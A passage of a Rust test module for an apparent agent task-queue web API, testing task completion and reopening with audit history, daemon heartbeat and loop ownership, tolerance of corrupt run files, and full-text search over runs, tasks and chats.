18663            assert_eq!(busy.status, 409, "{}", busy.body);
18664            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
18665        }
18666        let unchanged = queue.get(&task.id).unwrap();
18667        assert_eq!(unchanged.status, TaskStatus::Queued);
18668        assert!(unchanged.completion_history.is_empty());
18669    }
18670
18671    #[test]
18672    fn web_completion_reports_a_stale_commit_as_a_conflict() {
18673        let home = TempDir::new().unwrap();
18674        let queue = Queue::at(home.path().join("queue"));
18675        let mut current = Task::new(
18676            "stale".into(),
18677            "original".into(),
18678            home.path().into(),
18679            Source::Human,
18680        );
18681        queue.put(&mut current).unwrap();
18682        let expected = current.clone();
18683        current.instruction = "updated".into();
18684        queue.put(&mut current).unwrap();
18685
18686        let mut decision = expected.clone();
18687        decision.status = TaskStatus::Done;
18688        let error = queue
18689            .commit_completion(&mut decision, &expected)
18690            .unwrap_err();
18691        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
18692        let saved = queue.get(&current.id).unwrap();
18693        assert_eq!(saved.status, TaskStatus::Queued);
18694        assert_eq!(saved.instruction, "updated");
18695    }
18696
18697    #[tokio::test]
18698    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18699        let f = Fixture::start().await;
18700        let queue = f.queue();
18701        let mut task = Task::new(
18702            "shipped by hand".to_owned(),
18703            "merged outside the loop".to_owned(),
18704            PathBuf::from("/repo/magi"),
18705            Source::Agent {
18706                run: "20260101-000000-b455".to_owned(),
18707                node: "implement".to_owned(),
18708            },
18709        );
18710        task.runs.push("20260101-000000-b455".to_owned());
18711        task.runs.push("20260101-000000-9af4".to_owned());
18712        queue.put(&mut task).expect("file the task");
18713        let created_at = task.created_at;
18714
18715        let done = f
18716            .post(
18717                &format!("/api/queue/{}/done", task.id),
18718                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
18719            )
18720            .await;
18721        assert_eq!(done.status, 200, "{}", done.body);
18722        assert_eq!(done.json()["status_str"], "done");
18723
18724        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18725        assert_eq!(
18726            reloaded.runs,
18727            ["20260101-000000-b455", "20260101-000000-9af4"]
18728        );
18729        assert_eq!(
18730            reloaded.source,
18731            Source::Agent {
18732                run: "20260101-000000-b455".to_owned(),
18733                node: "implement".to_owned(),
18734            }
18735        );
18736        assert_eq!(reloaded.created_at, created_at);
18737        let event = reloaded
18738            .completion_history
18739            .last()
18740            .expect("completion audit");
18741        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
18742        assert!(event.discard);
18743        assert_eq!(
18744            event.reason.as_deref(),
18745            Some("owner cancelled retained work")
18746        );
18747        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
18748        assert_eq!(
18749            detail.json()["completion_history"][0]["occurrence"],
18750            event.occurrence
18751        );
18752    }
18753
18754    #[tokio::test]
18755    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18756        // Explicit discard may close held work without a release; the current
18757        // hold clears while the completion audit preserves its prior status.
18758        let f = Fixture::start().await;
18759        let queue = f.queue();
18760        let mut task = Task::new(
18761            "landed while held".to_owned(),
18762            "x".to_owned(),
18763            PathBuf::from("/repo/magi"),
18764            Source::Human,
18765        );
18766        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18767        queue.put(&mut task).expect("file the held task");
18768
18769        let done = f
18770            .post(
18771                &format!("/api/queue/{}/done", task.id),
18772                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
18773            )
18774            .await;
18775        assert_eq!(done.status, 200, "{}", done.body);
18776        assert_eq!(done.json()["status_str"], "done");
18777        assert!(
18778            done.json()["hold_reason"].is_null(),
18779            "a done task cannot still be waiting on something: {}",
18780            done.body
18781        );
18782    }
18783
18784    #[tokio::test]
18785    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18786        // `queue_done` is the phone's way to close a task the loop never
18787        // settled itself - after confirming a manual GitHub merge, say - and
18788        // that is just as much "this task's story is over" as the loop's own
18789        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18790        let f = Fixture::start().await;
18791        let queue = f.queue();
18792        let runs = f.runs();
18793        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18794        // The last attempt has to have actually landed for the earlier one
18795        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18796        // for the case where it didn't.
18797        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18798
18799        let mut task = Task::new(
18800            "landed by hand".to_owned(),
18801            "x".to_owned(),
18802            PathBuf::from("/repo/magi"),
18803            Source::Human,
18804        );
18805        task.runs.push("20260101-000000-doa1".to_owned());
18806        task.runs.push("20260101-000000-doa2".to_owned());
18807        queue.put(&mut task).expect("file the task");
18808
18809        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18810        assert_eq!(done.status, 200, "{}", done.body);
18811
18812        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18813            .expect("run still on disk under this fixture's own home");
18814        assert_eq!(
18815            reloaded_run.status,
18816            RunStatus::Superseded,
18817            "closing the task by hand must relabel the earlier blocked attempt exactly \
18818             like the loop's own settle path does"
18819        );
18820    }
18821
18822    #[tokio::test]
18823    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18824        // Intentional discard preserves unsuccessful runs as unsuccessful:
18825        // closing the task does not claim they were delivered or superseded.
18826        let f = Fixture::start().await;
18827        let queue = f.queue();
18828        let runs = f.runs();
18829        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18830        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18831
18832        let mut task = Task::new(
18833            "closed with nothing actually landed".to_owned(),
18834            "x".to_owned(),
18835            PathBuf::from("/repo/magi"),
18836            Source::Human,
18837        );
18838        task.runs.push("20260101-000000-dob1".to_owned());
18839        task.runs.push("20260101-000000-dob2".to_owned());
18840        queue.put(&mut task).expect("file the task");
18841
18842        let done = f
18843            .post(
18844                &format!("/api/queue/{}/done", task.id),
18845                Some(r#"{"discard":true,"reason":"stop this work"}"#),
18846            )
18847            .await;
18848        assert_eq!(done.status, 200, "{}", done.body);
18849
18850        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18851            .expect("run still on disk under this fixture's own home");
18852        assert_eq!(
18853            reloaded_run.status,
18854            RunStatus::Blocked,
18855            "the last recorded attempt never landed, so the earlier one must not be \
18856             relabelled as superseded by it"
18857        );
18858    }
18859
18860    #[tokio::test]
18861    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
18862        let f = Fixture::start().await;
18863        let queue = f.queue();
18864        let mut task = Task::new(
18865            "unstarted".into(),
18866            "keep its history".into(),
18867            PathBuf::from("/repo/magi"),
18868            Source::Human,
18869        );
18870        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
18871        task.runs.push("20260101-000000-aud1".into());
18872        queue.put(&mut task).unwrap();
18873        let path = format!("/api/queue/{}/done", task.id);
18874        let refused = f.post(&path, None).await;
18875        assert_eq!(refused.status, 400, "{}", refused.body);
18876        let blank = f
18877            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
18878            .await;
18879        assert_eq!(blank.status, 400, "{}", blank.body);
18880        assert!(blank.body.contains("--discard requires a non-empty reason"));
18881        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
18882        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
18883        let closed = f
18884            .post(
18885                &path,
18886                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
18887            )
18888            .await;
18889        assert_eq!(closed.status, 200, "{}", closed.body);
18890        let reopen_path = format!("/api/queue/{}/reopen", task.id);
18891        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
18892        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
18893        let reopened = f
18894            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
18895            .await;
18896        assert_eq!(reopened.status, 200, "{}", reopened.body);
18897        let saved = queue.get(&task.id).unwrap();
18898        assert_eq!(saved.status, TaskStatus::Held);
18899        assert_eq!(saved.completion_history.len(), 2);
18900        let event = &saved.completion_history[1];
18901        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
18902        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
18903        assert_eq!(event.prior_status, TaskStatus::Done);
18904        assert_eq!(event.reason.as_deref(), Some("premature closure"));
18905    }
18906
18907    #[tokio::test]
18908    async fn unknown_ids_are_json_not_found_on_both_stores() {
18909        let f = Fixture::start().await;
18910
18911        let run = f.get("/api/runs/nosuchrun").await;
18912        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18913
18914        assert_eq!(run.status, 404);
18915        assert_eq!(task.status, 404);
18916        assert!(
18917            run.json()["error"]
18918                .as_str()
18919                .is_some_and(|e| e.contains("run")),
18920            "the error names what was not found: {}",
18921            run.body
18922        );
18923        assert!(
18924            task.json()["error"]
18925                .as_str()
18926                .is_some_and(|e| e.contains("task")),
18927            "the error names what was not found: {}",
18928            task.body
18929        );
18930    }
18931
18932    #[tokio::test]
18933    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18934        let f = Fixture::start().await;
18935
18936        let missing = f.get("/api/health").await.json();
18937        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18938
18939        write_daemon(
18940            f.home.path(),
18941            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18942        );
18943        let stale = f.get("/api/health").await.json();
18944        assert_eq!(
18945            stale["daemon"]["running"], false,
18946            "a minute without a heartbeat is a dead daemon, not a busy one"
18947        );
18948        assert!(
18949            stale["daemon"]["stale_for_secs"]
18950                .as_i64()
18951                .is_some_and(|s| s >= 55),
18952            "staleness is reported so the UI can say how long: {stale}"
18953        );
18954
18955        write_daemon(f.home.path(), Timestamp::now());
18956        let fresh = f.get("/api/health").await.json();
18957        assert_eq!(fresh["daemon"]["running"], true);
18958        assert_eq!(fresh["daemon"]["idle"], false);
18959        assert_eq!(fresh["daemon"]["pid"], 4242);
18960        assert_eq!(fresh["daemon"]["completed"], 7);
18961        assert_eq!(
18962            fresh["daemon"]["current"][0]["task"],
18963            "20260902-140501-aaaa"
18964        );
18965        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18966    }
18967
18968    #[tokio::test]
18969    async fn the_loop_is_not_running_until_something_starts_it() {
18970        let f = Fixture::start().await;
18971
18972        let view = f.get("/api/loop").await.json();
18973        assert_eq!(view["running"], false);
18974        assert_eq!(
18975            view["owned"], false,
18976            "nobody owns a loop that does not exist: {view}"
18977        );
18978        assert_eq!(view["stopping"], false);
18979        assert_eq!(view["last_error"], Value::Null);
18980        assert_eq!(view["daemon"]["running"], false);
18981        assert_eq!(
18982            view["repo"], "/repo/magi",
18983            "the repository a start would use, named before it is started"
18984        );
18985    }
18986
18987    #[tokio::test]
18988    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18989        let f = Fixture::start().await;
18990
18991        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18992        assert_eq!(res.status, 200, "{}", res.body);
18993        let view = res.json();
18994        assert_eq!(view["running"], true);
18995        assert_eq!(
18996            view["owned"], true,
18997            "the loop the UI started is the UI's own to stop: {view}"
18998        );
18999        assert_eq!(
19000            view["merge"],
19001            Value::Null,
19002            "no override was given, so each repository's own config decides"
19003        );
19004
19005        // The same object from the route a waking phone polls first. Two
19006        // surfaces disagreeing about whether anything is running is exactly
19007        // the confusion this UI exists to remove.
19008        let health = f.get("/api/health").await.json();
19009        assert_eq!(health["loop"]["running"], true, "{health}");
19010        assert_eq!(health["loop"]["owned"], true, "{health}");
19011
19012        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19013    }
19014
19015    #[tokio::test]
19016    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19017        let f = Fixture::start().await;
19018        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19019        assert_eq!(first.status, 200, "{}", first.body);
19020
19021        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19022        assert_eq!(
19023            again.status, 409,
19024            "two loops on one queue race for the same claims: {}",
19025            again.body
19026        );
19027        assert!(
19028            again.json()["error"]
19029                .as_str()
19030                .is_some_and(|e| e.contains("already running the loop")),
19031            "the refusal has to say why: {}",
19032            again.body
19033        );
19034        assert_eq!(
19035            f.get("/api/loop").await.json()["running"],
19036            true,
19037            "and the loop that was already running is untouched by it"
19038        );
19039
19040        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19041    }
19042
19043    #[tokio::test]
19044    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19045        let f = Fixture::start().await;
19046        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19047
19048        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19049        assert_eq!(
19050            res.status, 200,
19051            "the answer must not wait for the loop: a run in flight is tens of \
19052             minutes and the operator is holding a phone: {}",
19053            res.body
19054        );
19055
19056        let view = settled(&f, |v| v["running"] == false).await;
19057        assert_eq!(view["owned"], false);
19058        assert_eq!(
19059            view["stopping"], false,
19060            "a loop that has stopped is not still stopping: {view}"
19061        );
19062        assert_eq!(
19063            view["last_error"],
19064            Value::Null,
19065            "a loop that was asked to stop did not fail: {view}"
19066        );
19067
19068        // Idempotent, because the operator cannot tell a slow stop from a lost
19069        // one and will press it again.
19070        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19071        assert_eq!(twice.status, 200, "{}", twice.body);
19072    }
19073
19074    #[tokio::test]
19075    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19076        let f = Fixture::start().await;
19077        // How the operator has been doing it: a `magi serve` of their own,
19078        // heartbeat fresh, in the same home this UI reads.
19079        write_daemon(f.home.path(), Timestamp::now());
19080
19081        let view = f.get("/api/loop").await.json();
19082        assert_eq!(view["running"], false, "not in this process: {view}");
19083        assert_eq!(view["owned"], false, "and not this process's to control");
19084        assert_eq!(
19085            view["daemon"]["running"], true,
19086            "but a loop is alive somewhere, which is what the UI must say"
19087        );
19088        assert_eq!(view["daemon"]["pid"], 4242);
19089
19090        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19091            let res = f.post("/api/loop", Some(body)).await;
19092            assert_eq!(
19093                res.status, 409,
19094                "neither button may pretend to work on someone else's loop: {}",
19095                res.body
19096            );
19097            assert!(
19098                res.json()["error"]
19099                    .as_str()
19100                    .is_some_and(|e| e.contains("4242")),
19101                "the refusal has to name the process the operator must go to: {}",
19102                res.body
19103            );
19104        }
19105        assert_eq!(
19106            f.get("/api/loop").await.json()["running"],
19107            false,
19108            "and the refusal started nothing"
19109        );
19110    }
19111
19112    #[tokio::test]
19113    async fn a_stale_status_file_is_not_a_foreign_owner() {
19114        let f = Fixture::start().await;
19115        write_daemon(
19116            f.home.path(),
19117            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19118        );
19119
19120        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19121        assert_eq!(
19122            res.status, 200,
19123            "a daemon killed a minute ago must not lock the loop out of its \
19124             own home for good: {}",
19125            res.body
19126        );
19127        assert_eq!(res.json()["running"], true);
19128
19129        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19130    }
19131
19132    #[tokio::test]
19133    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19134        let f = Fixture::start().await;
19135        let before = f.get("/api/health").await.json()["loop_rev"]
19136            .as_u64()
19137            .expect("a loop revision");
19138
19139        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19140
19141        let after = f.get("/api/health").await.json()["loop_rev"]
19142            .as_u64()
19143            .expect("a loop revision");
19144        assert!(
19145            after > before,
19146            "the loop is in-process state, so this counter is the only thing \
19147             that tells a second device the first one started it: {before} -> \
19148             {after}"
19149        );
19150
19151        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19152    }
19153
19154    #[tokio::test]
19155    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19156        let f = Fixture::with_loop(launch_broken).await;
19157
19158        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19159        assert_eq!(
19160            res.status, 200,
19161            "starting it is not the failure: {}",
19162            res.body
19163        );
19164
19165        let view = settled(&f, |v| v["last_error"].is_string()).await;
19166        assert_eq!(
19167            view["running"], false,
19168            "a loop that died must not read as running, or the operator has \
19169             nothing to press: {view}"
19170        );
19171        assert_eq!(view["owned"], false);
19172        assert!(
19173            view["last_error"]
19174                .as_str()
19175                .is_some_and(|e| e.contains("read-only file system")),
19176            "the phone is where a loop that died at 3am is visible: {view}"
19177        );
19178
19179        // And it can be started again: the corpse was reaped, not left to
19180        // occupy the slot.
19181        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19182        assert_eq!(again.status, 200, "{}", again.body);
19183        assert!(
19184            again.json()["last_error"]
19185                .as_str()
19186                .is_none_or(|e| !e.contains("read-only file system")),
19187            "a fresh start does not keep showing why the last one died: {}",
19188            again.body
19189        );
19190    }
19191
19192    #[tokio::test]
19193    async fn a_newer_daemon_status_file_still_renders() {
19194        let f = Fixture::start().await;
19195        // A field this build has never heard of must not turn the status line
19196        // into a 500; that is the whole reason the reader is permissive.
19197        std::fs::write(
19198            f.home.path().join("daemon.json"),
19199            serde_json::json!({
19200                "schema": 2,
19201                "updated_at": Timestamp::now().to_string(),
19202                "idle": true,
19203                "surprise": { "nested": [1, 2, 3] },
19204            })
19205            .to_string(),
19206        )
19207        .expect("write daemon.json");
19208
19209        let health = f.get("/api/health").await;
19210
19211        assert_eq!(health.status, 200);
19212        assert_eq!(health.json()["daemon"]["running"], true);
19213    }
19214
19215    #[tokio::test]
19216    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19217        let f = Fixture::start().await;
19218        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19219        let broken = f.runs().join("20260902-140502-bad");
19220        std::fs::create_dir_all(&broken).expect("run dir");
19221        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19222
19223        let list = f.get("/api/runs").await;
19224        let detail = f.get("/api/runs/20260902-140502-bad").await;
19225
19226        assert_eq!(list.status, 200);
19227        let listed = list.json();
19228        let ids: Vec<&str> = listed
19229            .as_array()
19230            .expect("an array")
19231            .iter()
19232            .map(|r| r["id"].as_str().expect("an id"))
19233            .collect();
19234        assert_eq!(
19235            ids,
19236            vec!["20260902-140501-good"],
19237            "one unreadable run must not cost the operator the whole history"
19238        );
19239        assert_eq!(detail.status, 500);
19240        assert!(
19241            detail.json()["error"]
19242                .as_str()
19243                .is_some_and(|e| e.contains("run.json")),
19244            "the failure names the file to look at: {}",
19245            detail.body
19246        );
19247        // A skipped run has to be countable somewhere, or the UI shows an
19248        // empty history with nothing to explain it - which is exactly what a
19249        // directory full of older-schema runs looks like.
19250        let health = f.get("/api/health").await;
19251        assert_eq!(health.json()["runs_unreadable"], 1);
19252    }
19253
19254    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19255    #[tokio::test]
19256    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19257        let f = Fixture::start().await;
19258        let runs = f.runs();
19259        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19260        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19261        // Text three levels down, in a shape no current RunState has: an older
19262        // schema must still search.
19263        let path = runs.join("20260902-140502-bbbb").join("run.json");
19264        let mut v: serde_json::Value =
19265            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19266        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19267        std::fs::write(&path, v.to_string()).unwrap();
19268        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19269        std::fs::write(
19270            runs.join("20260902-140503-cccc").join("run.json"),
19271            "{ not json",
19272        )
19273        .unwrap();
19274
19275        let res = f.get("/api/search?scope=runs&q=quokka").await;
19276        assert_eq!(res.status, 200, "{}", res.body);
19277        let v = res.json();
19278        assert_eq!(v["total"], 1, "{v}");
19279        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19280        assert_eq!(v["hits"][0]["field"], "text");
19281        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19282        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19283        assert!(
19284            parts
19285                .iter()
19286                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19287            "{v}"
19288        );
19289        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19290        assert_eq!(
19291            flat, "The Quokka leaks across threads",
19292            "whitespace is collapsed"
19293        );
19294
19295        // Terms are ANDed, across different fields, case-insensitively.
19296        let both = f
19297            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19298            .await
19299            .json();
19300        assert_eq!(both["total"], 1, "{both}");
19301        let neither = f
19302            .get("/api/search?scope=runs&q=quokka%20zebra")
19303            .await
19304            .json();
19305        assert_eq!(neither["total"], 0, "{neither}");
19306        // Everything in the task statement is reachable, not only the row text.
19307        let stmt = f
19308            .get("/api/search?scope=runs&q=mobile%20first")
19309            .await
19310            .json();
19311        assert_eq!(stmt["total"], 2, "{stmt}");
19312        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19313        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19314    }
19315
19316    #[test]
19317    fn snippet_ignores_terms_longer_than_the_field() {
19318        let terms = ["ok".to_owned(), "elephant".to_owned()];
19319        let parts = snippet_of("ok", &terms);
19320        assert_eq!(
19321            parts,
19322            vec![SnippetPart {
19323                text: "ok".to_owned(),
19324                hit: true
19325            }]
19326        );
19327    }
19328
19329    #[test]
19330    fn snippet_marks_matches_longer_than_the_window() {
19331        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19332        let hit_len = |parts: &[SnippetPart]| -> usize {
19333            parts
19334                .iter()
19335                .filter(|p| p.hit)
19336                .map(|p| p.text.chars().count())
19337                .sum()
19338        };
19339        let total =
19340            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19341
19342        let long = "a".repeat(120);
19343        let parts = snippet_of(&long, std::slice::from_ref(&long));
19344        assert!(hit_len(&parts) > 0, "{parts:?}");
19345        assert!(total(&parts) <= cap);
19346
19347        let ja = "あ".repeat(130);
19348        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19349        assert!(hit_len(&parts) > 0, "{parts:?}");
19350        assert!(total(&parts) <= cap);
19351
19352        // A short hit, then one straddling the window's end.
19353        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19354        let term = format!("ab{}", "c".repeat(100));
19355        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19356        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19357        assert!(total(&parts) <= cap);
19358
19359        // Only the head matches: not highlighted.
19360        let text = format!("{}z", "a".repeat(119));
19361        let parts = snippet_of(&text, &["a".repeat(120)]);
19362        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19363    }
19364
19365    #[tokio::test]
19366    async fn search_caps_hits_and_snippet_length() {
19367        let f = Fixture::start().await;
19368        let runs = f.runs();
19369        for n in 0..(SEARCH_MAX_HITS + 5) {
19370            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19371        }
19372        let v = f.get("/api/search?scope=runs&q=web").await.json();
19373        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19374        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19375        assert_eq!(v["truncated"], true);
19376        // Every listed run hit carries its list row for the page's filters.
19377        assert!(
19378            v["hits"]
19379                .as_array()
19380                .unwrap()
19381                .iter()
19382                .all(|h| h["run"]["status"] == "merged")
19383        );
19384
19385        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19386        let parts = snippet_of(&long, &["needle".to_owned()]);
19387        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19388        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19389        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19390    }
19391
19392    #[tokio::test]
19393    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19394        let f = Fixture::start().await;
19395        let queue = f.queue();
19396        let mut t = Task::new(
19397            "short title".to_owned(),
19398            "line one\nthe hidden Armadillo detail".to_owned(),
19399            PathBuf::from("/repo/magi"),
19400            Source::Agent {
19401                run: "r1".to_owned(),
19402                node: "chat".to_owned(),
19403            },
19404        );
19405        t.last_error = Some("disk full on /tmp".to_owned());
19406        queue.put(&mut t).expect("file the task");
19407
19408        for (q, want) in [
19409            ("armadillo", 1),
19410            ("disk%20FULL", 1),
19411            ("chat", 1),
19412            ("queued", 1),
19413            ("short%20nothing", 0),
19414        ] {
19415            let v = f
19416                .get(&format!("/api/search?scope=tasks&q={q}"))
19417                .await
19418                .json();
19419            assert_eq!(v["total"], want, "{q}: {v}");
19420        }
19421        for bad in [
19422            "/api/search?scope=tasks&q=",
19423            "/api/search?scope=tasks&q=%20",
19424            "/api/search?scope=chats&q=",
19425            "/api/search?scope=chats&q=%20",
19426            "/api/search?scope=nope&q=a",
19427            "/api/search?q=a",
19428        ] {
19429            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19430        }
19431    }
19432
19433    /// Write one conversation file the way the store reads it back.
19434    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19435        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19436            .expect("seat value");
19437        let turns: Vec<serde_json::Value> = turns
19438            .iter()
19439            .map(|(who, body)| {
19440                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19441            })
19442            .collect();
19443        let doc = serde_json::json!({
19444            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19445            "status": status, "turns": turns,
19446            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19447            "seat": seat,
19448        });
19449        let dir = f.home.path().join("talks");
19450        std::fs::create_dir_all(&dir).expect("talks dir");
19451        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19452    }
19453
19454    #[test]
19455    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19456        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19457            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19458            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19459            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19460            "seat": crate::agent::SeatState::new("talk", "test", 1)
19461        })).unwrap();
19462        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19463        talk.title = Some(talk::ChatTitle {
19464            text: "最近の話題".into(),
19465            source: talk::TitleSource::Generated,
19466        });
19467        let doc = talk_search_doc(&talk);
19468        assert_eq!(doc["title"], "最近の話題");
19469        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19470        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19471        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19472    }
19473
19474    #[test]
19475    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19476        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19477        talk.title = Some(talk::ChatTitle {
19478            text: "Saved title".into(),
19479            source: talk::TitleSource::Manual,
19480        });
19481        talk.turns = serde_json::from_value(serde_json::json!([
19482            {
19483                "who": "operator", "sender": "external", "body": "External plain",
19484                "at": "2026-09-08T20:58:02Z"
19485            },
19486            {
19487                "who": "operator", "body": "External message",
19488                "at": "2026-09-08T20:58:03Z",
19489                "messages": [{
19490                    "sender": "external", "body": "External message", "attachments": []
19491                }]
19492            }
19493        ]))
19494        .unwrap();
19495        let doc = talk_search_doc(&talk);
19496        assert_eq!(doc["turns"][0]["external"], "External plain");
19497        assert_eq!(doc["turns"][1]["external"], "External message");
19498        assert!(doc["turns"][0].get("operator").is_none());
19499        assert!(doc["turns"][1].get("operator").is_none());
19500        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19501        assert_eq!(hit.field, "external");
19502        let target = hit.target.unwrap();
19503        assert_eq!((target.turn, target.message), (1, 0));
19504    }
19505
19506    #[test]
19507    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19508        let talk: Talk = serde_json::from_value(serde_json::json!({
19509            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19510            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19511            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19512                "messages":[{"body":"First message", "attachments":[], "reply":null},
19513                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19514                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19515            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19516            "seat": crate::agent::SeatState::new("talk", "test", 1)
19517        })).unwrap();
19518        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19519        let target = hit.target.unwrap();
19520        assert_eq!((target.turn, target.message), (0, 1));
19521        assert_eq!(target.text, chat_text_key("Search 運用"));
19522        assert_eq!(
19523            hit.snippet,
19524            snippet_of("Search 運用", &search_terms("運用 Another"))
19525        );
19526        assert!(
19527            search_chat(&search_terms("Saved"), &talk)
19528                .unwrap()
19529                .target
19530                .is_none()
19531        );
19532        assert!(
19533            search_chat(&search_terms("ab12"), &talk)
19534                .unwrap()
19535                .target
19536                .is_none()
19537        );
